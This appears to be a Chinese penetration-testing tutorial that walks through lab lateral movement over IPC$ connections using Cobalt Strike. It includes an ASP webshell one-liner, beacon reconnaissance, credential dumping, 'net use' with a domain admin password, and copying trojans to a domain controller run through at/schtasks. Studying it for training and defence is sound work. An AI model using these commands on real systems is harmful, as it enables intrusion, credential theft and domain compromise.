【网安-Web渗透测试-内网渗透】内网横向移动——IPC连接

目录

一、概念

  1. 横向移动

    指攻击者从已控制主机,跳转迁移到内网其他主机的攻击行为。攻入内网后,以沦陷主机为跳板,探测内网存活资产、锁定目标,依托内网代理和窃取的账号凭据,通过各类远程控制技术渗透拿下更多设备,最终窃取机密数据、掌控内网关键资产。

  2. 网络结构解读

    Web 服务器是唯一外网出口,仅它可访问外网;内网其他主机仅能域内互通、无法联网,且所有域内主机均由域控 DC 统一管理。

  3. 渗透目标

    已通过 Web 渗透拿下 Webserver 权限,以此机为唯一跳板进行内网横向移动,最终获取域控权限。

  4. 演示约束

    所有工具上传、脚本运行仅在 Webserver 上操作,不触碰其他内网主机。

二、环境说明

注意:①主机的开启顺序一定为DC、WebServer、FileServer或SQL Server、Mary或Jack。②环境在资源"内网环境文件(5台Vmware虚拟机环境)"中获取。

1、DC

名称
操作系统 Windows Server 2008
IP地址 102.168.179.21

2、WebServer

名称
操作系统 Windows Server 2008
IP地址 102.168.179.31

3、SQL Server

名称
操作系统 Windows Server 2012
IP地址 102.168.179.32

4、FileServer

名称
操作系统 Windows Server 2003
IP地址 102.168.179.30

5、Marry

名称
操作系统 Windows 7
IP地址 102.168.179.25

6、Jack

名称
操作系统 Windows 8.1
IP地址 102.168.179.29

三、内网横向移动

1、上传木马并在CS中上线

Step1 :在WebServer的IIS中添加1.asp文件,用于后续的WebShell。

新建ASP脚本:

bash 复制代码
# 文件名为1.asp
<% eval request("test") %>

备注:此处默认站点中存在漏洞被攻击者利用并上传了WebShell。

Step2:启动CS的Server端和Client端

Server端(Kali机中运行):

bash 复制代码
$ cd /home/kali/tools/CS4.8   #切换到我们上传的CS4.8⽬录中
$ cd server                   #切换到server⽬录

#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test   #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali: 

[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
        for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth

[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050   # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d

Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到WebServer(网站服务器)运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

将保存好的文件(cs_1.exe)通过蚁剑上传至WebServer。

在中运行了cs_1.exe后,在CS中成功上线了。

2、信息收集

Step1 :进入"会话交互",输入命令判断是否为域环境

bash 复制代码
beacon> shell net time /domain

Step2:获取当前域环境后,ping域名即得域控IP地址

bash 复制代码
beacon> shell ping OWA2010CN-God.god.org -4


Step3:执行命令收集域内用户信息

bash 复制代码
beacon> shell net user /domain

Step4:打开目标列表

Step5 :右击 → 浏览探测 → 端口扫描

Step6:抓取Hash

抓取之前需要提升权限。

提升权限

抓取Hash


Step7 :打开"密码凭证"

从图中可以看出,密码已成功获取!抓取到账号密码信息之后,接下来开始横向移动。

已上线主机仅属可出网的10.0.0.0/24网段,端口扫描发现其含不可出网的192.168.3.0/24内网段;目标为该内网段主机,可通过CS的ipc命令横向移动(涉及正/反向连接)。

3、IPC正向连接

Step1 :CS创建正向连接监听器

监听器可以自定义添加。

Step2 :利用此监听器生成木马并保存为4444.exe文件。

Step3:建立IPC连接(两种方法任选)

IPC即进程间通信,是操作系统中不同进程数据交换、协同的技术,可通过共享内存、管道、套接字等方式实现。其网络连接建立后可访问远程主机资源(如查目录、传文件、创计划任务/服务),实战中常用。

之前抓取Hash或者获取密码凭证得到的密码。

得到域控主机IP


方法一:输入命令建立连接

bash 复制代码
# 使用CS调动ipc的方式输入账号密码和目标机器建立连接(账号密码在信息收集凭据信息时可以获取)
beacon> shell net use \\192.168.179.21\ipc$ "Admin12345" /user:god.org\administrator

方法二:利用插件建立连接

输入域控的IP,用户名和密码。

内容扩展:

出现类似的"不允许一个用户使用一个以上用户名与服务器..."的提示时,需要清除连接后才能使用,命令如下:

bash 复制代码
beacon> shell net use \\192.168.179.21 /del

Step4 :CS借助提权得到的system会话,通过文件管理功能将4444.exe木马上传至当前主机。

Step5:使用命令将上传的4444.exe木马复制到目标机器

bash 复制代码
#利用IPC建立的连接,使用copy命令将当前受控机的木马复制到目标主机的c盘下
beacon> shell copy 4444.exe \\192.168.179.21\c$

此时木马已成功传入了域控制器。

Step6:查看当前时间,然后创建计划任务运行4444.exe木马

针对Windows2012版本之前的操作系统可以使用at命令:

bash 复制代码
# 查看当前时间:
beacon> shell net time
# 使用at命令创建计划任务:(时间需要根据实际情况去设置)
beacon> shell at \\192.168.179.21 <小时:分钟> c:\4444.exe

针对Windows2012及以后版本的操作系统使用schtasks命令:

bash 复制代码
beacon> schtasks /create /s 192.168.179.21 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4444.exe/F

Step7:连接域控主机并让木马上线

bash 复制代码
beacon> connect 192.168.179.21 4444

从图中看出,4444.exe木马成功上线,实现了横向移动。

4、IPC反向连接

Step1:CS中在提权的会话中,选择"代理转发"、"转发上线"模块

注意:反向连接时,目标机器需连接当前受控主机的内网IP(因处于内网环境)。

Step2:生成一个木马(5555.exe)并上传到已被控制的主机WebServer(192.168.179.31)

Step3:CS借助提权system会话,通过文件管理将5555.exe木马上传至当前主机

Step4:此时建立IPC连接的过程与IPC正向连接的方法二类似(步骤省略)

Step5:使用命令将上传的5555.exe木马复制到目标机器

bash 复制代码
#利用IPC建立的连接,使用copy命令将当前受控机的木马复制到目标主机的c盘下
beacon> shell copy 5555.exe \\192.168.179.21\c$

Step6:查看当前时间,然后创建计划任务运行4444.exe木马

bash 复制代码
# 查看当前时间:
beacon> shell net time
# 使用at命令创建计划任务:(时间需要根据实际情况去设置)
beacon> shell at \\192.168.179.21 <小时:分钟> c:\5555.exe


相关推荐
BUG研究员_1 小时前
Apifox调用本地大模型
windows
无限进步_2 小时前
【C++】从红黑树到 map 和 set:封装设计与迭代器实现
开发语言·数据结构·数据库·c++·windows·github·visual studio
jimy12 小时前
Oracle的always free账户,提高网络使用率的保活脚本
服务器·网络·oracle
xhbh6662 小时前
TCP端口转发不生效?IP转发、防火墙、SELinux排查手册
服务器·ip·端口流量转发·路由端口转发·ip隐藏·tcp 端口转发
xhbh6662 小时前
Windows网络转发如何配置?netsh命令完整指南
服务器·网络·windows·ip·端口流量转发·路由端口转发·ip隐藏
程序员大辉2 小时前
Rufus中文版(U盘引导盘制作工具)v4.14.2377,PE U盘启动工具,重装系统必备的软件工具
运维·windows
量子炒饭大师2 小时前
【Linux系统编程】Cyberpunk在霓虹丛林中构建堡垒 ——【关于shell命令及其运行原理】
linux·运维·服务器·shell
IT大白鼠2 小时前
主流Linux文件系统稳定性及性能分析
linux·运维·服务器·文件系统
Byron Loong2 小时前
【逆向】PE 文件加载核心流程
windows